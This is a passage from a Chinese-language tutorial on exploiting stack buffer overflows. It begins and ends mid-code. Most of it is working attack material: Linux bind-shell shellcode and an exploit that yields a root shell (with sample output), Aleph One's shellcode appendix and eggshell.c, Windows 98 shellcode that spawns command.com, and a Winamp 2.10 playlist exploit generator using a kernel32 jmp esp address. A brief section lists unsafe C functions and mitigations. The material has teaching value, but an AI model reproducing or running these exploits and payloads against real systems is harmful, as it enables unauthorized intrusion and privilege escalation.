"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x01" /* movb $0x1,%al */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\x5b\xff\xff\xff"; /* call -0xa5 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can't resolve host.\n");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}
int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shell\n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can't create socket\n");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can't connect to the shell\n");
exit(0);
}
return sockfd;
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
int sockfd;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i {
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i buff=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i *(ptr++)=shellcode;
buff[bsize-1]='\0';
printf("Jump to 0x%08x\n",addr);
if(fork()==0)
{
execl("./vulnerable","vulnerable",buff,0);
exit(0);
}
sleep(5);
sockfd=connect_sh(getip("127.0.0.1"));
exec_sh(sockfd);
}
------------------------------------------------------------------------
----
算法很简单，先生成溢出串，格式为：NNNNSSSSAAAA。然后起一个子进程执行目标
程序
来模拟网络daemon，参数为我们的字符串。好，堆栈溢出发生了。我们的
shellcode被
执行，那么在30464端口就会有server在listen了。
父进程睡五秒，等待这些完成。就连接本机的端口30464。连接建立后，从socket
读取
收到的字符串，打印到标准输出，从标准输入读取字符串，传到socket的server端
。
下面来试一试：
我们先写一个漏洞程序：
vulnerable.C
------------------------------------------------------------------------
----
#include
int main(int argc,char ** argv)
{
char buffer[1000];
printf("I am here%x,buffer%d\n",buffer,strlen(argv[1]));
strcpy(buffer,argv[1]);
return 0;
}
------------------------------------------------------------------------
----
[nkl10]$ ./exploit
Jump to 0xbffff63c
I am herebffff280,buffer1224
Connect to the shell
Can't connect to the shell
看到了吗？我在vulnerable.C里面加入了一个printf，打印buffer的首地址，这样
就可以
不用猜了。0xbffff63c-0xbffff280 = 956,好，就用956来进行偏移。
[nkl10]$./exploit 956
Jump to 0xbffff280
I am herebffff280,buffer1224
connect to shell
whoami
root
id
uid=0(root)......
uname -a
Linux localhost.localdomain 2.2.5-15。。。
嘿嘿，大功告成了。
防范堆栈溢出
1:寻找漏洞
我们已经看到堆栈溢出的危害，那么什么程序会有堆栈溢出的隐患呢？
首先是strcpy，很多问题都出在他身上。
其他的，还有：
1:很多与字符串操作相关的函数都是有问题的。它们是：
strcat(), strcpy(),sprintf(), and vsprintf()。
2:带有可变参数的函数，比如：所有printf的变种，（除了printf）
fprintf()...
因为这些函数都使用了vsprintf(buf, fmt, ap);来将格式化的字符串和参数结合
，
输出到buffer中去，所以都有堆栈溢出的危险。
3:内部调用了strcpy的函数
gets()，getc(), fgetc(), or getchar()...
4:scanf()以及所有scanf的变种。
vcscanf(),sscanf(),fscanf()...
因为scanf可以接受参数%s，来进行串复制，而不考虑串的边界。
有以上函数的程序，都是危险的。
另外，所有链接了Xt lib的程序，都是有问题的程序。
在linux里面，你可以查找所有的原代码，grep上述这些函数。如果没有原代码，
你可以
使用strings命令察看目标程序里面的字符串，看看有没有："input什么的","%s"
什么的
，还可以使用（）命令来察看程序使用了哪些库函数。
一旦发现有隐患的程序，你就可以使用前面讲过的各种方法来试验。相信很快就可
以
发现一个漏洞并且得到shell。
2:防范措施：
当然最好的方法就是把堆栈段设置成不可执行。本来堆栈段就是放数据的吗！我们
的
shellcode由于是在堆栈里面，所以将会彻底没戏。但是，这需要操作系统的支持
才可以
。solaris现在已经可以实现这个功能.Linux目前我不清楚。
另外，不要随便编写setuid的程序。而且在写setuid的程序的时候，千万要小心，
不要
出现上面说的哪些问题函数，或者，附加边界检查。
你的机器上的setuid程序的个数和名字，你应该定期检查。对于很少用的setuid程
序，
干脆就去掉setuid位得了。
最后，新的漏洞是层出不穷的，精华区里面有很多安全网址。
你（网管）应该每天去这些地方拜会。希望你紧跟时代，勤打补丁。
3:附录：
下面这些宝贝是从Aleph One的经典名著 “Smashing The Stack For Fun And
Profit”
的附录考过来的。主要是为了方便大家使用，省得找了。
Appendix A - Shellcode for Different Operating
Systems/Architectures
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
i386/Linux
------------------------------------------------------------------------
------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
------------------------------------------------------------------------
------
SPARC/Solaris
------------------------------------------------------------------------
------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------
------
SPARC/SunOS
------------------------------------------------------------------------
------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
------------------------------------------------------------------------
------
Appendix B - Generic Buffer Overflow Program
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode.h
------------------------------------------------------------------------
------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
------------------------------------------------------------------------
------
eggshell.c
------------------------------------------------------------------------
------
/*
* eggshell v1.0
*
* Aleph One / [email protected]
*/
#include
#include
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i +=
NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode;
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a ] [-b ] [-e ]
[-o ]\n");
}
window系统下的堆栈溢出--原理篇
这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序
的
堆栈溢出漏洞。
让我们从头开始。windows 98第二版
首先，我们来写一个问题程序：
#include
int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name;i++)
printf("\\0x%x",name);
}
相信大家都看出来了，gets(name)对name数组没有作边界检查。那么我们可以给程
序
一个很长的串，肯定可以覆盖堆栈中的返回地址。
C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
x61\0x61
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
x61\0x61
到这里，出现了那个熟悉的对话框“该程序执行了非法操作。。。”，太好了，点
击
详细信息按钮，看到EIP的值是0x61616161，哈哈，对话框还会把返回地址告诉我
们。
这个功能太好了，我们可以选择一个序列的输入串，精确的确定存放返回地址的偏
移位置。
C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
\0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0
x32\0x31
\0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0
x30\0x32
到这里，又出现了那个熟悉的对话框“改程序执行了非法操作。。。”，点击详细
信息
按钮，下面是详细信息：
VUNERABLE 在 00de:32363235 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:
Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005
0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78
bff8b86c
哦哦，EIP的内容为0x32363235，就是2625,EBP的内容为0x32343233，就是2423,计
算
一下可以知道，在堆栈中，从name变量地址开始偏移36处，是EBP的地址，从name
变量
地址开始偏移40处，是ret的地址。我们可以给name数组输入我们精心编写的
shellcode。
我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么，name的开始
地址
是多少呢？
通过上面的stack dump 我们可以看到，当前ESP所指向的地址0x0064fe00，内容为
0x32383237,那么计算得出，name的开始地址为：0x0064fe00-44=0x64fdd4。在
windows
系统，其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址
都
是相同的。也就是说，每次运行，name的地址都是0x64fdd4。
讲到这里，大家一定已经发现了这样一个情况：在win系统中，由于有地址冲突检
测，
出错时寄存器影像和堆栈影像，使得我们对堆栈溢出漏洞可以进行精确的分析
溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。
OK，万事具备，只差shellcode了。
首先，考虑一下我们的shellcode要作什么？显然，根据以往的经验，我们想开一
个
dos窗口，这样在这个窗口下，我们就可以作很多事情。
开一个dos窗口的程序如下：
#include
#include
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
(ProcAdd) (cmdbuf);
return 0;
}
这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个
dos窗口。在C库函数里面，语句system(command.com)；将完成我们需要的功能。
但是，windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说
，
windows通过动态链接库来提供系统函数。这就是所谓的Dll's。
因此，当我们想调用一个系统函数的时候，并不能直接引用他。我们必须找到那个
包含此函数的动态链接库，由该动态链接库提供这个函数的地址。DLL本身也有一
个
基本地址，该DLL每一次被加载都是从这个基本地址加载。比如，system函数由
msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供，而msvcrt.dll每次都从
0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处（这个偏移地
址
只与msvcrt.dll的版本有关，不同的版本可能偏移地址不同）。我的系统上，
msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。
所以，要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接
库
msvcrt.dll，获得动态链接库的句柄。然后使用GetProcAddress(LibHandle,
system)
获得 system的真实地址。之后才能使用这个真实地址来调用system函数。
好了，现在可以编译执行，结果正确，我们得到了一个dos框。
现在对这个程序进行调试跟踪汇编语言，可以得到：
15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;现在，eax的值为0x78019824就是system的真实地址。
;这个地址对于我的机器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆栈传递参数，只有一个参数，就是字符串"command.com"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4
现在我们可以写出一段汇编代码来完成system，看以看我们的执行system调用的代
码
是否能够像我们设计的那样工作：
#include
#include
void main()
{
LoadLibrary("msvcrt.dll");
__asm {
mov esp,ebp ;把ebp的内容赋值给esp
push ebp ;保存ebp，esp－4
mov ebp,esp ;给ebp赋新值，将作为局部变量
的基指针
xor edi,edi ;
push edi ;压入0，esp－4，
;作用是构造字符串的结尾\0字符
。
sub esp,08h ;加上上面，一共有12个字节，
;用来放"command.com"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ;串地址作为参数入栈
mov eax, 0x78019824 ;
call eax ;调用system
}
}
编译，然后运行。好，DOS框出来了。在提示符下输入dir,copy......是不是想起
了
当年用286的时候了？
敲exit退出来，哎呀，发生了非法操作。Access Violation。这是肯定的，因为我
们的
程序已经把堆栈指针搞乱了。
对上面的算法进行优化，现在我们可以写出shellcode如下：
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
还记得第二讲中那个测试shellcode的基本程序吗？我们可以用他来测试这个
shellcode：
#include
#include
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
int main() {
int *ret;
LoadLibrary("msvcrt.dll");
ret = (int *)&ret + 2; //ret 等于main（）的返回地址
//(＋2是因为：有push ebp ,否则加1就可以了。）
(*ret) = (int)shellcode; //修改main（）的返回地址为shellcode的开始地
址。
}
编译运行，得到dos对话框。
现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出，如何计
算
偏移地址，以及如何编写一个shellcode以得到dos。理论上，你已经具备了利用堆
栈溢出
的能力了，下面，我们通过实战来真正掌握他。
window系统下的堆栈溢出－－－－溢出字符串的设计
我们已经知道了在windows系统下如何获得一次堆栈溢出，如何计算
偏移地址，以及如何编写一个shellcode以得到dos。
但是这远远不够。
大家知道windows系统的用户进程空间是0--2G，操作系统所占的为2--4G。
事实上用户进程的加载位置为：0x00400000.这个进程的所有指令地址，数据地址
和堆栈指针都会含有0,那么我们的返回地址就必然含有0。
现在来看一看我们的shellcode：NNNNSSSSAAAAAA。显然，我们的shellcode
由于A里面含有0，所以就变成了NNNNNNNNSSSSSA,这样，我们的返回地址A必须精确
的放在确切的函数堆栈中的ret位置。
事实上，在上一讲里面，我们已经掌握了很精确的找到这个位置的方法。
其次，windows在执行mov esp，ebp的时候，把废弃不用的堆栈用随机数据填充
（实验所得，机制如何，大家一起研究），因此我们的shellcode可能会被覆盖！
－－－－这下完蛋了，我们的shellcode都没了，返回地址正确又有什么用？？
所以，我们的shellcode必须改成如下方式：NNNNNNNNNNNNNNNNNASSSSSSSSS,在缓
冲区
溢出发生之后，堆栈的布局如下：
内存底部 内存顶部
buffer EBP ret
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆栈顶部 堆栈底部
看到了吗？我们的A覆盖了返回地址。S位于堆栈的底部。A的内容，就是指向S的调
用。
但是，刚才我们说过A里面是含有0字符的，这样的溢出字符串，在A处就被0阻断，
根本无法到shellcode。我们需要把A改成不包含0的地址。
好像没有办法了，是吗？现在我们的A如何能做到即可以跳转到我们的shellcode，
又可以不包含0字节呢？
大家可能还记得当年IIS4.0远程攻击的作者dark spyrit AKA Barnaby Jack吧？
他在99年的Phrack Magzine55.15 上提出了使用系统核心dll中的指令来完成跳转
的思想。我不得不说这是一个天才的想法。事实上，这一技巧开创了一个崭新
的windows缓冲区溢出的思路。
思路是这样的：返回地址A的内容不指向我们的shellcode开始地点，否则的话
A里面必然含有0。我们知道系统核心的dll都是在2－4G，也就是从0x80000000到
0xffffffff,这里面的指令地址将不包含0，（当然几个别的除外，我们可以不用他
）。
因此，我们可以令返回地址A等于一个系统核心dll中的指令的地址，这个指令的
作用就是call/jmp 我们的shellcode。
但是他怎么才能知道我们的shellcode的地址呢？
答案是：用寄存器。因为在溢出发生的时候，除了eip跳到了系统核心dll去之外，
其他的通用寄存器都保持不变。在寄存器里面一定有我们的shellcode的相关信息
。
比如说，敌人的函数如果有参数的话，那么我们的A覆盖了他的返回地址，
shellcode
的开始地址则恰恰在他的第一个参数的位置上，那我们就可以用call [ebp+4]或者
我们假设敌人第一个参数的地址在eax，那我们就可以使用call/jmp eax来调用
shellcode。
这些寄存器的值，我们可以在第一讲里面提到的“关闭程序框”里面获得寄存器和
堆栈的详细资料。
那么我们怎么知道哪里有call/jmp eax什么的呢？我们又怎么知道这些指令是每次
都在
内存中可以直接调用呢？
答案是：系统核心dll。系统核心dll包括kernel32.dll,user32.dll,gdi32.dll.
这些dll是一直位于内存中而且对应于固定的版本windows加载的位置是固定的。
你可以在这些dll里面搜索你需要的指令。其他的dll，比如msvcrt。dll就要去看
程序
自己的import列表了。看看他是否load了这个dll。不过一般的说，这几个dll就够
了。
好，那么我们的shellcode最终为：
NNNNNNNNNNNNNNNASSSSSSSS
其中：N为NOP指令
A为指向某一条call/jmp指令的地址，这个call/jmp指令位于系统核心内存
>0x80000000，
这个call/jmp指令具体的内容，需要根据我们exploit出来的结果分析得知。
S：shellcode。
有了这些基础知识，我们来分析一个实例。
大家都有winamp吧，他的2.10有缓冲区漏洞，下面我们来实现一个exploit。
winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名长度
如果大于一定长度就会发生堆栈溢出。我们可以写出测试串，精确的测试。
test.cpp
------------------------------------------------------------------------
----
#include
int main()
{
char buffer[640];
char eip[8] = "";
char sploit[256] = "";
FILE *file;
for(int x=0;x<640;x++)
{
switch(x%4) {
case 0: buffer[x] = 'A';break;
case 1: buffer[x] = 'A'+x/26%26/26%26; break;
case 2: buffer[x] = 'A'+x/26%26; break;
case 3: buffer[x] = 'A'+x%26;break;
}
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");
fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "\nNumberOfEntries=1");
fclose(file);
printf("\t created file crAsh.pls loaded with the exploit.\n");
return 0;
}
------------------------------------------------------------------------
----
算法很简单，是写出一个crach.pls文件，内容可以根据那几个fprintf看出来的。
我就不讲了，其中buffer的内容为测试用的字符串。这个测试程序可以测试
最长为26^3的串，足够了。
编译执行，看看结果，嘿，发生了堆栈溢出，结果如下：
WINAMP 在 00de:4c574141 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=4bd7
EDX=005b02dc ES=0187 EDI=00000001 GS=4206
Bytes at CS:EIP:
Stack dump:
50574141 54574141 58574141 42584141 46584141 4a584141
4e584141 52584141 56584141 5a584141 44594141 48594141
4c594141 50594141
根据eip=4141574c计算得出，addr = (57h-41h)*26+(4ch-41h)-4 = 580.
好，溢出的位置为580。
大家现在知道我们的溢出字符串中，返回地址A应该在串的580处，那么我们应该
让他使用什么call/jmp指令以达到shellcode呢？
看看寄存器dump，我们发现ESP里面的内容是41415750，恰好是4141574c之后的
第一个数。看来ESP指向我们的shellcode，太棒了！我们使用指令：
jmp ESP 就可以执行我们的shellcode了。
现在找出jmp esp的指令码为 FF E4,ctrl-D 调出s-ice,看看内存里面那里有FF
E4.
因为系统核心dll的加载地址都是从地址0xBf000000开始，所以我们
搜索s Bf000000 L ffffffff ff,e4
得到了哪些结果？
一堆呀，这第一个是：BFF795A3。看看softice里面的进程名称栏：
Kernel32!GetDataFormatA+1554好，是kernel32.dll里面的，肯定是可以用的啦。
ok，问题解决，我们现在可以确定在buffer〔580〕处，写入四个字节：
"\xa3\x95\xf7\xbf".这就是我们的溢出字符串中的返回地址A。
好了，现在溢出字符串已经基本分析完了，就差shellcode了。
下面我们来写shellcode。
我们的shellcode要开一个dos窗口。C语言的算法描述是：
LoadLibrary("msvcrt.dll");
system("command.com");
exit(0)；
很简单，是不是？下面是汇编代码：
首先要LoadLibrary("msvcrt.dll");
push ebp
mov ebp,esp
xor eax,eax
push eax
push eax
push eax
mov byte ptr[ebp-0Ch],4Dh
mov byte ptr[ebp-0Bh],53h
mov byte ptr[ebp-0Ah],56h
mov byte ptr[ebp-09h],43h
mov byte ptr[ebp-08h],52h
mov byte ptr[ebp-07h],54h
mov byte ptr[ebp-06h],2Eh
mov byte ptr[ebp-05h],44h
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
mov edx,0xBFF776D4 //LoadLibrary
push edx
lea eax,[ebp-0Ch]
push eax
call dword ptr[ebp-10h]
然后是开一个dos窗口：
push ebp
mov ebp, esp
sub esp, 0000002C
mov eax, 6D6D6F63
mov dword ptr [ebp-0C], eax
mov eax, 2E646E61
mov dword ptr [ebp-08], eax
mov eax, 226D6F63
mov dword ptr [ebp-04], eax
xor edx, edx
mov byte ptr [ebp-01], dl
lea eax, dword ptr [ebp-0C]
push eax
mov eax, 78019824 //system
call eax
最后执行exit，退出来。
push ebp
mov ebp,esp
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//exit
push edx
xor eax,eax
push eax
call dword ptr[ebp-04h]
简单说一下，msvcrt.dll是运行C语言标准库函数所必须的一个动态链接库。
要想使用system,exit，必须加载这个库。而winamp没有import这个库，
所译我们需要自己加载。
指令 mov edx,0xBFF776D4中，0xBFF776D4是函数LoadLibraryA的地址。
他的代码在kernel32.dll中，是被winamp加载了的dll。我的机器上kernel32.
dll
版本是： (v4.10.2222) .
0x78019824 是msvcrt.dll里面的函数system的地址。版本：(v6.00.8397.0)
0x78005504 是msvcrt.dll里面的函数exit的地址。版本：(v6.00.8397.0)
由于里面有0，所以使用两条指令来完成：
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//==mov edx,0x78005504
编译，找出二进制code：
shellcode：
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x4
5\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8
D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x6
4\x2E"
